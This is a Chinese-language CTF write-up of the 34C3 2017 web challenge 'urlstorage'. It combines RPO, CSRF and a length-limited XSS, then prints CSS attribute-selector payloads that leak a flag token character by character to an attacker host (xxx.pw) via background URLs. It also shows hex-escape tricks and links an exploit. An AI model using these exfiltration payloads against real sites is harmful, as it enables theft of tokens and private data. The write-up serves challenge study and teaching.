34c3ctf_2017_web_urlstorage

roger

　　也是一个超高质量的题目，rpo获取网页信息，不过有一个非预期，nginx没有配置好，导致可以读取文件然后拿到flag。

34c3ctf_2017_web_urlstorage

　　如果对rpo攻击不熟悉的话，可以先看看这
RPO攻击
　　几个信息点
1、csrf，个人的url地址保存的时候是可以进行csrf的

34c3ctf_2017_web_urlstorage

　　结合网页加载的css，可导致rpo漏洞.

%0a%0d%0a%0a%0d%0a*%7B%7D*{}*{background:red}*{}*%0a%0d%0a

　　2、token处存在xss，有64字符的长度限制.

34c3ctf_2017_web_urlstorage

　　3、csp防御

frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self';

获取flag token链接　　回到第一个rpo地方，可以通过css选择器去一个个匹配网页链接中的内容，然后再传输出来
　　第一位字符:

a[href^=flag\?token\=0]{background: url(//xxx.pw/rpo/?c=1);}
a[href^=flag\?token\=1]{background: url(//xxx.pw/rpo/?c=1);}
...
a[href^=flag\?token\=f]{background: url(//xxx.pw/rpo/?c=f);}

　　第二位字符:

a[href^=flag\?token\=10]{background: url(//xxx.pw/rpo/?c=10);}
a[href^=flag\?token\=11]{background: url(//xxx.pw/rpo/?c=11);}

　　其中还牵涉到一个问题，每次用户登录的后其token也在改变，所以需要在一次攻击中获取完。
可以通过循环调用的形式不断的获取剩下的字符。

34c3ctf_2017_web_urlstorage

进入token获取flag　　这里有一个坑点就是，css选择器在匹配的时候首字符不能是数字，flag的格式为34C3，本地可测试一下

<input id=flag name=flag value="34C3_test">
<input id=blah name=blah value="foo">
<style>
#flag[value^=34C3]{background: url([url]http://xxx.pw?34c3[/url]);}
#blah[value^=foo]{background: url([url]http://xxx.pw?foo[/url]);}
</style>

　　发现浏览器只会发出foo的请求，对于这个可以有两种方式解决
　　1、使用css的*模糊匹配

#flag[value*=C3_1]{background: url([url]http://xxx.pw/?flag=C3_1[/url]);}

　　2、使用16进制编码

#flag[value^=\33\34\43\33]{background: url([url]http://xxx.pw/?34c3[/url]);}

　　最后利用base标签，加载urlstorage的页面rpo，然后去获取flag值

34c3ctf_2017_web_urlstorage

　　exploit:
https://github.com/eboda/34c3ctf ... exploit/exploit.php

---